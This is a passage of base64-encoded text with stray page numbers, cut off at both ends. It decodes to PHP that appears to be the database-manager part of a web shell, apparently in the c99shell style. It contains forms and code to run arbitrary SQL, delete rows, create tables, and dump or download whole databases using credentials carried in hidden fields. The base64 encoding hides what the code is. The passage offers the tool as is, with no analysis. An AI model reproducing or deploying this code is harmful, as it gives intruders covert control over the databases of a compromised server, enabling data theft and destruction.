pID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJ yYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ 0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR 2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9 xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0 gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h 0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN 0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3F sX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCg kYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSB zdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiA oJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9 yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcX VlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIG Vsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdH koJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOy I7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk 9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1Yn N0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX3 RibF9hY3QgPT0gImluc2VydCIpCiAgIHsKICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMS kKICAgIHsKICAgICAka2V5cyA9ICIiOwogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW 5zZXJ0KTsKICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcy gkdikuImAsICI7fQogICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMC xzdHJsZW4oJGtleXMpLTIpO30KICAgICAkdmFsdWVzID0gIiI7CiAgICAgJGkgPSAwOwogICAgIGZvcm VhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcW xfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJH ZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKS I7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdW VzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICAgICRzcWxfcXVlcnkgPS AiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZX
13.
MuIiApOyI7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2 UiOwogICAgfQogICAgZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikKICAgIHsKICAgIC Akc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcn RfZnVuY3RzKTsKICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2 V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsKICAgICAkcmVzdWx0ID0gbX lzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAkcm VzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOwogICAgICRzcWxfYW N0ID0gInF1ZXJ5IjsKICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsKICAgIH0KICAgfQogICBpZi AoJHNxbF9hY3QgPT0gInF1ZXJ5IikKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT 4iOwogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2Nvbm Zpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YX MgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ij t9CiAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPS Akc3FsX2dvdG87fQogICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZS Bib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW 9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIG FuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvIC JTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeV wiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIj wvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdm FsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT 1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbm FtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF 9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cG U9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dC B0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iO30KIC AgfQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQogICB7CiAgICA/Pjx0YWJsZSBib3JkZX I9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj 48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij 48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaW RkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbW U9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPj xpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbH NwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF 9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/Pi I+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaH RtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPS JzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/Pi I+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdX QgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaG VpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij 48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaW RkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPS JzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW 5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcG VjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG Fzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPj xpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bW xzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3 FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPj xpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZW NobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLV ktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibW l0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdG Q+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaG VpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPj w/cGhwCiAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZG U+Ijt9CiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKIC AgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZG IpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbi BjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7CiAgICB9CiAgICBlbHNlIHtlY2hvICJDYW4ndC BjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC 9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIH0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcC IpCiAgIHsKICAgIGlmIChlbXB0eSgkc3VibWl0KSkKICAgIHsKICAgICAkZGlwbGF5ID0gRkFMU0U7Ci
14.
AgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPV wiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XC IgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdW U9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbm FtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj 48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcG VjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcW xfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdX QgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYX JzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YW x1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PG JyPiI7CiAgICAgZWNobyAiPGI+REI6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XC JzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiAgICAgJH YgPSBqb2luICgiOyIsJGRtcHRibHMpOwogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIF wiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dF wiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPV wiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwogICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcC A9ICRkdW1wX2ZpbGU7fQogICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi 5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi 5zcWwiKTt9CiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbm FtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG 1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5Eb3dubG9hZD ogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYW RcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbG U6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2 ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7CiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT 1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MT wvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsKICAgICBlY2hvICI8L2Zvcm0+IjsKICAgIH0KICAgIG Vsc2UKICAgIHsKICAgICAkZGlwbGF5ID0gVFJVRTsKICAgICAkc2V0ID0gYXJyYXkoKTsKICAgICAkc2 V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7CiAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7CiAgICAgJGR1bX Bfb3V0ID0gImRvd25sb2FkIjsKICAgICAkc2V0WyJwcmludCJdID0gMDsKICAgICAkc2V0WyJubDJici JdID0gMDsKICAgICAkc2V0WyIiXSA9IDA7CiAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsKIC AgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsKICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKT sKICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7Ii wkZG1wdGJscyk7fQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOwogICAgIGlmICgkc3FsX2R1bX BfZG93bmxvYWQpCiAgICAgewogICAgICBAb2JfY2xlYW4oKTsKICAgICAgaGVhZGVyKCJDb250ZW50LX R5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3 RoOiAiLnN0cmxlbigkcmV0KSk7CiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YW NobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7CiAgICAgIG VjaG8gJHJldDsKICAgICAgZXhpdDsKICAgICB9CiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZm lsZSkKICAgICB7CiAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7CiAgICAgIGlmIC ghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2 hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30KICAgICAgZWxzZQogICAgICB7CiAgICAgICBmd3JpdG UoJGZwLCRyZXQpOwogICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1b XAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtc F9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iO wogICAgICB9CiAgICAgfQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iP iI7fQogICAgfQogICB9CiAgIGlmICgkZGlwbGF5KQogICB7CiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsK SkKICAgIHsKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c 2UiO30KICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxb F90YmwuImA7Iik7CiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7CiAgI CAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsKICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxb F9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkdGJsX3N0cnVjd F9maWVsZHMgPSBhcnJheSgpOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRib F9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgICAgaWYgKCRzc WxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9CiAgICAgaWYgKGVtc HR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX 3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc 3FsX3RibF9sZSA9IDMwO30KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7C iAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQogICAgICRudW1wY WdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZ GVyKTsKICAgICBpZiAoY291bnQoJGUpID09IDIpCiAgICAgewogICAgICBpZiAoJGVbMF0gPT0gImQiK SB7JGFzY19kZXNjID0gIkRFU0MiO30KICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQogICAgI CAkdiA9ICJPUkRFUiBCWSBgIi4kZVsxXS4iYCAiLiRhc2NfZGVzYy4iICI7CiAgICAgfQogICAgIGVsc
15.
2UgeyR2ID0gIiI7fQogICAgICRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgICIuJ HYuIkxJTUlUICIuJHNxbF90YmxfbHMuIiAsICIuJHBlcnBhZ2UuIiI7CiAgICAgJHJlc3VsdCA9IG15c 3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICBlY2hvICI8a HIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzc WxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb 3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3Vyb C4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJ m5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY 2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc 3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuY nNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZ W5jb2RlKCRzcWxfdGJsKS4iJnNxbF9hY3Q9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bJm5ic3A7PGI+RHVtc DwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJ HNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2Vyd FwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgI GlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb 29vbiE8L2I+Ijt9CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgICB7CiAgICAgI GlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7f QogICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpCiAgICAgIHsKCiAgICAgIH0KI CAgICAgZWxzZQogICAgICB7CiAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50b yB0YWJsZTo8L2I+PGJyPiI7CiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkKICAgI CAgIHsKICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOwogI CAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7CiAgICAgICAgJHNxb F9xdWVyeSAuPSAiIExJTUlUIDE7IjsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xd WVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsKICAgI CAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7CiAgICAgICAgbXlzcWxfZnJlZ V9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICB9CiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9C iAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZ GVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzM zMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvd GQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L 2I+PC90ZD48L3RyPiI7CiAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkK QogICAgICAgewogICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwogICAgICAgIGlmIChlbXB0e Sgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIua HRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkP jx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzK 